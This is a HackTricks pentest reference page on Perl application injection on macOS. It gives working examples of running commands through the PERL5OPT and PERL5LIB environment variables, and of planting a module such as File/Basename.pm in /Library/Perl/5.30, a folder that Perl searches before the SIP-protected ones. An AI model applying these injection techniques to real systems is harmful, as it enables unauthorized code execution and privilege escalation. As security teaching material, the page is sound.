# macOS Perl Applications Injection
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{% endhint %}
## Via `PERL5OPT` & `PERL5LIB` env variable
Using the env variable PERL5OPT it's possible to make perl execute arbitrary commands.\
For example, create this script:
{% code title="test.pl" %}
```perl
#!/usr/bin/perl
print "Hello from the Perl script!\n";
```
{% endcode %}
Now **export the env variable** and execute the **perl** script:
```bash
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
```
Another option is to create a Perl module (e.g. `/tmp/pmod.pm`):
{% code title="/tmp/pmod.pm" %}
```perl
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
```
{% endcode %}
And then use the env variables:
```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
```
## Via dependencies
It's possible to list the dependencies folder order of Perl running:
```bash
perl -e 'print join("\n", @INC)'
```
Which will return something like:
```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
Some of the returned folders doesn't even exist, however, **`/Library/Perl/5.30`** does **exist**, it's **not** **protected** by **SIP** and it's **before** the folders **protected by SIP**. Therefore, someone could abuse that folder to add script dependencies in there so a high privilege Perl script will load it.
{% hint style="warning" %}
However, note that you **need to be root to write in that folder** and nowadays you will get this **TCC prompt**:
{% endhint %}
For example, if a script is importing **`use File::Basename;`** it would be possible to create `/Library/Perl/5.30/File/Basename.pm` to make it execute arbitrary code.
## References
* [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
.png)
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
[**HackTricks Training GCP Red Team Expert (GRTE)**